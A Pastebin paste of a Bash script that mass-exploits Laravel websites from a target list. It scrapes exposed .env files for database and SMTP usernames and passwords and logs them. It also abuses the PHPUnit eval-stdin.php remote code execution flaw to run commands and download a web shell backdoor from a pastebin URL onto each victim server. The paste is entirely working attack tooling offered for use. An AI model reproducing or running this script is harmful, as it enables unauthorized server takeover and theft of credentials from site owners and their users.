Advertisement
Guest User

# CEPOTZ MMPPPSSSHHH AHHHH KNTL

a guest
Jul 18th, 2019
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.12 KB | None | 0 0
  1. #!/bin/bash
  2. # CEPOTZ MMPPPSSSHHH AHHHH KNTL
  3.  
  4. RD="\e[91m"
  5. GR="\e[92m"
  6. YL="\e[93m"
  7. WH="\e[97m"
  8. BL="\e[94m"
  9. CY="\e[96m"
  10. B="\e[1m"
  11. NC="\e[0m"
  12.  
  13. rce(){
  14.     # payload='uname -a;curl -skL https://pastebin.com/raw/f4xQX4sL -o cans.php'
  15.     pathz='/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
  16.     exploit=$(curl -skL --data '<?php echo "Cans21 :".system("uname -a;curl -skL https://pastebin.com/raw/f4xQX4sL -o cans.php").":";?>' "$1/$pathz")
  17.     uname=$(echo $exploit | grep -Po "(?<=Cans21 :)[^:]*")
  18.     if [[ ! -z $uname ]]; then
  19.         rc="${GR}RCE${NC}"
  20.         un="${GR}[*] Kernel : $uname${NC}${NC}"
  21.         if [[ $(curl -s $1/vendor/phpunit/phpunit/src/Util/PHP/cans.php | grep -ic "Cans21") -eq 1 ]]; then
  22.             shell="${GR}[*] Successfully Uploaded : ${CY}$1/vendor/phpunit/phpunit/src/Util/PHP/cans.php${NC}"
  23.             echo "$1/vendor/phpunit/phpunit/src/Util/PHP/cans.php" >> laravel-rce-log.txt
  24.         else
  25.             shell="${RD}[-] Failed Uploading Backdoor${NC}"
  26.         fi
  27.     else
  28.         rc="${RD}RCE${NC}"
  29.     fi
  30. }
  31. env(){
  32.     exploit=$(curl -skL "$1/.env")
  33.     db_host=$(echo $exploit | grep -Po '(?<=DB_HOST=)[^ ]*')
  34.     db=$(echo $exploit | grep -Po '(?<=DB_DATABASE=)[^ ]*')
  35.     db_u=$(echo $exploit | grep -Po '(?<=DB_USERNAME=)[^ ]*')
  36.     db_p=$(echo $exploit | grep -Po '(?<=DB_PASSWORD=)[^ ]*')  
  37.     m_host=$(echo $exploit | grep -Po '(?<=MAIL_HOST=)[^ ]*')
  38.     m_port=$(echo $exploit | grep -Po '(?<=MAIL_PORT=)[^ ]*')
  39.     m_u=$(echo $exploit | grep -Po '(?<=MAIL_USERNAME=)[^ ]*')
  40.     m_p=$(echo $exploit | grep -Po '(?<=MAIL_PASSWORD=)[^ ]*')
  41.  
  42.     if [[ -z $db_host ]]; then
  43.         en="${RD}DB${NC}"
  44.     else
  45.         en="${GR}DB${NC}"
  46.         dbs="${GR}\n    [*] DB_HOST : $db_host\n    [*] DB_DATABASE : $db\n [*] DB_USERNAME : $db_u\n   [*] DB_PASSWORD : $db_p\n${NC}"
  47.         echo "$1 | DATABASE : $db_host | $db | $db_u | $db_p" >> laravel-env-log.txt
  48.         if [[ -z $m_host || $m_host == "null" || $m_host == "localhost" || $m_host == "mailtrap.io" || $m_host == "smtp.mailtrap.io" ]]; then
  49.             sm="${RD}SMTP${NC}"
  50.         else
  51.             sm="${GR}SMTP${NC}"
  52.             smtp="${GR}\n   [*] MAIL_HOST : $m_host\n   [*] MAIL_PORT : $m_port\n   [*] MAIL_USERNAME : $m_u\n  [*] MAIL_PASSWORD : $m_p\n${NC}"
  53.             echo "$1 | SMTP : $m_host | $m_port | $m_u | $m_p" >> laravel-env-log.txt
  54.         fi
  55.     fi
  56. }
  57.  
  58. exploit(){
  59.     u=$(echo $1 | awk -F/ '{print $3}')
  60.     env $u && rce $u
  61.     echo -e "[$w][$2/$tot] $1 [$en][$sm][$rc]$dbs$smtp$loc"
  62. }
  63.  
  64. read -p "[?] List Target : " list
  65. if [[ ! -f $list ]]; then
  66.     echo "[-] File $list Not Exist!"
  67.     exit 1
  68. fi
  69.  
  70. read -p "[?] Threads (Default 10): " thread
  71. if [[ $thread="" ]]; then
  72.     thread=10;
  73. fi
  74.  
  75. read -p "[?] Delay (Default 1): " sleep
  76. if [[ $sleep="" ]]; then
  77.     sleep=1;
  78. fi
  79.  
  80. echo
  81. echo -e "[!] ${GR}Target Loaded : ${CY}$(wc -l $list)${NC}"
  82. echo -e "[!] ${GR}Thread : ${CY}$thread${NC}"
  83. echo -e "[!] ${GR}Delay : ${CY}$sleep sec${NC}"
  84. echo -e "[+] ${GR}Start Exploit.......${NC}\n"
  85.  
  86. hitung=1
  87. IFS=$'\r\n' GLOBIGNORE='*' command eval  'target=($(cat $list))'
  88. for (( i = 0; i <"${#target[@]}"; i++ )); do
  89.     targeto="${target[$i]}"
  90.     ff=$(expr $hitung % $thread)
  91.     if [[ $ff == 0 && $hitung > 0 ]]; then
  92.         sleep $sleep
  93.     fi
  94.     w=$(date '+%H:%M:%S')
  95.     tot=$(cat $list | wc -l)
  96.     exploit $targeto $hitung &
  97.     hitung=$[$hitung+1]
  98. done
  99. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement